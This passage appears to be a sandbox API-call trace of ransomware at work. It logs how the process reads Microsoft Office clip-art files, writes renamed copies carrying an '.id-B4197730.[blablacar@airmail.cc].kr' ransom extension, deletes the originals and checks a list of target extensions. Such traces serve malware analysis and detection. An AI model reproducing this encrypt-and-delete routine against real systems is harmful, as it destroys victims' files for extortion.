dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.756] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=8582) returned 1 [0104.756] CloseHandle (hObject=0x36c) returned 1 [0104.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0104.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.757] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.757] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.757] GetLastError () returned 0x0 [0104.757] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2186, lpOverlapped=0x0) returned 1 [0104.758] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2190, lpOverlapped=0x0) returned 1 [0104.759] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.760] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.760] SetEndOfFile (hFile=0x35c) returned 1 [0104.760] CloseHandle (hObject=0x35c) returned 1 [0104.761] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.761] SetEndOfFile (hFile=0x36c) returned 1 [0104.762] CloseHandle (hObject=0x36c) returned 1 [0104.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0104.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.762] lstrlenW (lpString=".doc") returned 4 [0104.762] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.762] lstrlenW (lpString=".docx") returned 5 [0104.762] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.762] lstrlenW (lpString=".pdf") returned 4 [0104.762] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.762] lstrlenW (lpString=".xls") returned 4 [0104.762] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.762] lstrlenW (lpString=".xlsx") returned 5 [0104.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.763] lstrlenW (lpString=".ppt") returned 4 [0104.763] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString=".zip") returned 4 [0104.763] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.763] lstrlenW (lpString=".rar") returned 4 [0104.763] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.763] lstrlenW (lpString=".bz2") returned 4 [0104.763] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.763] lstrlenW (lpString=".7z") returned 3 [0104.763] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString=".dbf") returned 4 [0104.763] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString=".1cd") returned 4 [0104.763] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString=".jpg") returned 4 [0104.763] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.763] lstrlenW (lpString=".doc") returned 4 [0104.763] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.763] lstrlenW (lpString=".docx") returned 5 [0104.763] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.763] lstrlenW (lpString=".pdf") returned 4 [0104.763] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.764] lstrlenW (lpString=".xls") returned 4 [0104.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.764] lstrlenW (lpString=".xlsx") returned 5 [0104.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.764] lstrlenW (lpString=".ppt") returned 4 [0104.764] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.764] lstrlenW (lpString=".zip") returned 4 [0104.764] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.764] lstrlenW (lpString=".rar") returned 4 [0104.764] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.764] lstrlenW (lpString=".bz2") returned 4 [0104.764] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.764] lstrlenW (lpString=".7z") returned 3 [0104.764] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.764] lstrlenW (lpString=".dbf") returned 4 [0104.764] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.764] lstrlenW (lpString=".1cd") returned 4 [0104.764] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0104.764] lstrlenW (lpString=".jpg") returned 4 [0104.764] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.764] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.765] lstrlenW (lpString="AG00167_.GIF") returned 12 [0104.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.765] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=4894) returned 1 [0104.765] CloseHandle (hObject=0x36c) returned 1 [0104.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0104.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.766] GetLastError () returned 0x0 [0104.766] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x131e, lpOverlapped=0x0) returned 1 [0104.767] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1320, lpOverlapped=0x0) returned 1 [0104.768] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.768] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.768] SetEndOfFile (hFile=0x35c) returned 1 [0104.768] CloseHandle (hObject=0x35c) returned 1 [0104.769] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.769] SetEndOfFile (hFile=0x36c) returned 1 [0104.770] CloseHandle (hObject=0x36c) returned 1 [0104.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0104.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.771] lstrlenW (lpString=".doc") returned 4 [0104.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.771] lstrlenW (lpString=".docx") returned 5 [0104.771] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.771] lstrlenW (lpString=".pdf") returned 4 [0104.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.771] lstrlenW (lpString=".xls") returned 4 [0104.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.771] lstrlenW (lpString=".xlsx") returned 5 [0104.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.771] lstrlenW (lpString=".ppt") returned 4 [0104.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.771] lstrlenW (lpString=".zip") returned 4 [0104.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.772] lstrlenW (lpString=".rar") returned 4 [0104.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.772] lstrlenW (lpString=".bz2") returned 4 [0104.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.772] lstrlenW (lpString=".7z") returned 3 [0104.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.772] lstrlenW (lpString=".dbf") returned 4 [0104.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.772] lstrlenW (lpString=".1cd") returned 4 [0104.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.772] lstrlenW (lpString=".jpg") returned 4 [0104.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.773] lstrlenW (lpString=".doc") returned 4 [0104.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.773] lstrlenW (lpString=".docx") returned 5 [0104.773] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.773] lstrlenW (lpString=".pdf") returned 4 [0104.773] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString=".xls") returned 4 [0104.773] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString=".xlsx") returned 5 [0104.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.773] lstrlenW (lpString=".ppt") returned 4 [0104.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.773] lstrlenW (lpString=".zip") returned 4 [0104.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString=".rar") returned 4 [0104.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.773] lstrlenW (lpString=".bz2") returned 4 [0104.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.774] lstrlenW (lpString=".7z") returned 3 [0104.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.774] lstrlenW (lpString=".dbf") returned 4 [0104.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.774] lstrlenW (lpString=".1cd") returned 4 [0104.774] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0104.774] lstrlenW (lpString=".jpg") returned 4 [0104.774] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.774] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.774] lstrlenW (lpString="AG00169_.GIF") returned 12 [0104.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.595] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=5375) returned 1 [0105.595] CloseHandle (hObject=0x388) returned 1 [0105.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0105.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0105.596] GetLastError () returned 0x0 [0105.596] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x14ff, lpOverlapped=0x0) returned 1 [0105.598] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1500, lpOverlapped=0x0) returned 1 [0105.599] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0105.599] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0105.600] SetEndOfFile (hFile=0x370) returned 1 [0105.600] CloseHandle (hObject=0x370) returned 1 [0105.601] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.601] SetEndOfFile (hFile=0x388) returned 1 [0105.602] CloseHandle (hObject=0x388) returned 1 [0105.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.602] lstrlenW (lpString=".doc") returned 4 [0105.602] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.602] lstrlenW (lpString=".docx") returned 5 [0105.602] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.602] lstrlenW (lpString=".pdf") returned 4 [0105.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString=".xls") returned 4 [0105.603] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString=".xlsx") returned 5 [0105.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.603] lstrlenW (lpString=".ppt") returned 4 [0105.603] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString=".zip") returned 4 [0105.603] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString=".rar") returned 4 [0105.603] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString=".bz2") returned 4 [0105.603] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.603] lstrlenW (lpString=".7z") returned 3 [0105.603] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString=".dbf") returned 4 [0105.603] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString=".1cd") returned 4 [0105.603] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString=".jpg") returned 4 [0105.603] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.603] lstrlenW (lpString=".doc") returned 4 [0105.603] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.603] lstrlenW (lpString=".docx") returned 5 [0105.603] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.603] lstrlenW (lpString=".pdf") returned 4 [0105.604] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.604] lstrlenW (lpString=".xls") returned 4 [0105.604] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.604] lstrlenW (lpString=".xlsx") returned 5 [0105.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.604] lstrlenW (lpString=".ppt") returned 4 [0105.604] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.604] lstrlenW (lpString=".zip") returned 4 [0105.604] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.604] lstrlenW (lpString=".rar") returned 4 [0105.604] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.604] lstrlenW (lpString=".bz2") returned 4 [0105.604] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.604] lstrlenW (lpString=".7z") returned 3 [0105.604] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.604] lstrlenW (lpString=".dbf") returned 4 [0105.604] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.604] lstrlenW (lpString=".1cd") returned 4 [0105.604] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0105.604] lstrlenW (lpString=".jpg") returned 4 [0105.604] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.604] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0105.605] lstrlenW (lpString="AG00170_.GIF") returned 12 [0105.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.605] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=9248) returned 1 [0105.605] CloseHandle (hObject=0x388) returned 1 [0105.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0105.605] GetFileAttributesW 